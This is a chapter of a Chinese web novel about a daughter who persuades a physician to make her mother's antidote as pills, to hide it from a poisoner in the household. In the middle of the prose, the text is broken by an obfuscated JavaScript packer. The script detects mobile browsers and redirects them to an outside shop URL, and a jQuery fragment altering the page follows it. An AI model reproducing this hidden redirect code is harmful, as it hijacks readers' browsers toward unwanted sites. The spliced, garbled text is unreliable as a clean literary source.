第81章 药丸

作品:《重回流放前,我踹走渣爹护娘亲

    见风随野听明白了她的意图,云逸宁也没什么好瞒着的。


    她点了下头,想了想,低声补充。


    “方才晚辈跟先生说过,这背后动手的,正是家母极其信任之人,此人确实行事狡猾,向来谨慎,想必已在府中安排了眼线,时刻留意着府里情况。


    晚辈担心,若照着先生吩咐,要在府中煎这解毒汤药起码十日,每日让家母服用两次,且还要停掉之前的药,这一系列操作下来,实在太容易提前暴露。


    方才晚辈急着跟先生探讨其他问题,一时也没来得及细想如何操作此事。结果出门后闻到肉香,不觉就灵机一动,想到了把汤药伪装成药膳的法子。


    其实为了给家母调理身子,晚辈隔三差五就会学做些药膳送去给家母,这习惯坚持了挺久,府中上下都知晓的,相较于直接煎药让家母服用,晚辈觉得这法子应能更稳妥一些。”


    风随野耐心听完少女的详尽解释,却只紧抿双唇,深深望了过去。


    这姑娘提到背后之人时,从始至终都只说是其母亲极其信任之人,并没明确指出身份。


    但他游历行医半生,见过的人和事不胜枚举,其中也不乏这些后宅的阴司,到这会儿其实已能多少猜到,那背后害人的,恐怕就是这小姑娘的亲生父亲。


    这些大人也真是够造孽的,看把一个孩子都逼成什么样了?


    唉,罢了罢了,自己跟个孩子计较什么?


    风随野心中唏嘘,开门前还狠狠下决心决不再轻易心软,这会儿却自动将这决心抛到了一边儿。


    只是决心可以丢,面子却绝不能丢。


    想着,他依然将脸板得紧紧,“药方拿来。”


    语气很硬,手却伸了过去。


    看着突然递到跟前来的手,云逸宁虽有不解,却也立即顺从地将那解毒方子掏出,依言双手奉上。


    风随野拿过药方,继续板着脸,语气硬邦邦,“汤药是汤药,药膳是药膳,把汤药跟些乱七八糟的食材放一起,解毒效果能好才怪。”


    这话就差把“馊主意、自作聪明”此等词直接说出口了。


    云逸宁不觉小脸一红,心中羞愧又焦虑,一时也想不出更好的法子来。


    风随野数落——哦不——是实话实说完毕,心情莫名好了些。


    他微抬了抬下巴,语气从硬邦邦,转变成了淡淡然,“我琢磨一下,试着把解**做成药丸吧。只是和汤药不同,药丸需得每日服用三次,如此药效便能一样。”


    云逸宁一怔,待反应过来,当即大喜过望,笑容如夏花绽开,差点儿就忍不住原地蹦跳起来,“那真是太好了!先生睿智!晚辈深谢先生了!”


    风随野睥睨过去一眼,“先别谢那么快,我可事先说明,这解**丸可不能马上做成,最快也得等上七日,你可愿意?”


    “愿意!辛苦先生了!真是劳烦先生了!”


    云逸宁恨不能将所有好话都一股脑地往外倒,然着急之下,那些好话就都堵在了脑子里头,能顺利出口的只有这干巴巴的几个。


    可这实在太不足够,她索性深拜了下去,“晚辈多有冒犯,然先生却不计较,此时还肯如此相帮,先生之宽宏实让晚辈敬佩不已,感激不尽,还请先生受晚辈一拜。”


    风随野哼哼,端出一脸不耐,“得了,拜来拜去能当饭吃吗?不能当饭吃的东西谁稀罕?你要还有良心,就记紧了我跟你的约定,到时别再食言就好!”


    云逸宁忙站起身,郑重点头称是,露出一脸灿烂笑容。


    伸手不打笑脸人,对着这样一张如花笑脸,风随野只觉一言难尽,一张臭脸也开始有些难以为继。


    他只得冷哼一声以坚定立场,在臭脸垮掉之前,立即转向薛梅,同时抬手指了指桌上药箱。


    “我就带了这个,这是治病用的,可做不了药。”


    薛梅立马会意,同样灿烂一笑,无比恭敬应道:“明白,先生需要什么工具,我立即去办。”


    瞧瞧,用得着他时,就一个比一个笑得欢腾!


    风随野在心里翻了一个大大的白眼,想起什么,又不得不重新转回去,对上另一张笑脸。


    一本正经叮嘱:“早上令堂看诊,为了配合你们,我说了可先继续把目前的药用完。但以令堂情况,你最好还是想办法立即停了那药。”


    “好,晚辈知晓了,多谢先生告知。”


    云逸宁当即应下,继续笑颜如花,亮瞎人眼。


    风随野牙疼。


    瞧瞧,笑得跟只兔子似的,光看见牙了都!


    哼,方才要挟他时的无耻模样呢?


    风随野腹诽。


    然笑容本就杀伤力极大,更何况是一个如花少女发自内心的笑容?那杀伤力无疑要翻上好几番,就算再硬的心肠也能被笑成一滩水。


    风随野显然也无法幸免,那一连串的腹诽很快就被这笑容感化做了一声接一声的唏嘘——


    唉,这还是个孩子呢。还是个深爱着自己母亲,为了母亲不惜做出要挟勾当的可怜孩子呢。


    自己跟个孩子计较个什么劲儿?


    心肠越来越软,板着的脸皮也跟着越来越松。


    忽的,他心中猛一激灵,惊觉自己想法竟已跑没了边儿,眼皮不觉狠狠一跳,连忙别开了眼。


    “行了,七日后来取药吧。”


    他冷冰冰赶人。


    说着,转过身,将冷冰冰的背影甩给了背后两人。


    云逸宁看着那高冷背影将药方放进医箱,立即识趣告退,笑着朝那背影行礼道别,待走出屋时还十分体贴地关上屋门。


    终于谈妥,云逸宁不觉缓缓舒了口气。


    薛梅抬手轻握了握她的肩头,以示勉励。


    她转过来,两人相视一笑,一同往院外走去。


    薛家不算大,却也不小。风随野所在的客院设在宅子的西边,其中建有厢房数间,院中更有凉亭花圃假山点缀。


    只不过那花圃里常年无花,凉亭也只是简简单单一个,主打一个简单就好,朴素无华。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230888|196592||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    之前云逸宁一颗心都在给母亲治病这事上头,并没分出心思去留意旁的。


    此时她随着薛梅往外走,竟发现以往空空如也的花圃里,这会儿竟已摆上了几盆彩菊,甚至连假山附近也有,还有那光秃秃的凉亭上头,这下也有两个灯笼高高悬挂。


    虽只简单点缀了下,却莫名让整个院子看着舒适雅致了不少。


    这一看就是有人认真收拾过了。


    云逸宁不觉诧异,猜想应是为了让风神医住得舒心,薛姨才如此特意安排。


    薛梅走在一旁,留意到小徒弟目光一直在那些花上流转,遂笑着解释:“我家客院之前都没怎么管过,实在有些寒掺,免得神医住不惯喊着走人,我就问了下他的喜好,让人买了几盆花摆上,随便装装门面。”


    果然。


    薛姨为了她们,还真的操碎了心。


    云逸宁心里暖烘烘的。


    “薛姨,这回真的太辛苦你了。你为我们做了那么多,我真不知该说些什么才能表达心中感激。”


    薛梅摆摆手,一脸无所谓,“就几盆花而已,辛苦什么。”


    说着,脚步已到了外院前厅。


    她忙转了话头,扬声喊来小岁安备上热茶。


    云逸宁心知薛梅不愿听她说这些客气话,便也收住了话,跟着迈进前厅,将春喜叫来,从她手里接过只匣子,放到薛梅跟前。


    “薛姨,这是我下午带出来的安神香丸,我见神医确实休息不好,待会儿还请你转交给他。”


    说着,又将春喜捧着的另一只匣子接过来放下,“这个,是母亲让我带给你的诊金。”


    薛梅一怔,狐疑打开,看清里头放着的五百两银票,立即就盖上盖子往回推。


    云逸宁早料到她会这样,伸手将那匣子按住,笑道:“母亲说了,这趟请神医过来,薛姨定花费了不少。母亲本想找你问明诊金,但她知道你肯定不说,便先照着心意拿了这些给你。母亲还说,若这些不够,请务必告知,她会再添。”


    薛梅无奈,“神医从头到尾也就拿了你做的那盒香,诊金什么的根本没提。我倒是试探过他要收多少诊金,可他说了不用,你母亲给的这些真用不上。”


    “怎会用不上?神医在这里吃喝,接下来制药还要买药材和工具,这些哪一样不需要银子?”


    说着,手上稍用了些力,把匣子推回薛梅跟前,甜甜一笑,“薛姨你也知道我母亲的性子,这些你要是不收,她怕是会睡不着,过两日还要亲自找过来。”


    秦氏素来不喜占人便宜,薛梅是知道的,也知小徒弟所言非虚。


    她只得将银子收下,再次无奈笑着摇头。


    “你母亲也真是,认识了这许久还是这么客气,罢了,我收下便是,接下来继续好好招待神医,你就莫担心了。”


    说着,小岁安也泡来了热茶呈上。


    云逸宁照常跟他笑着聊了几句,等其退下,薛梅便正了神色,问道:“接下来你有何想法?打算如何做?”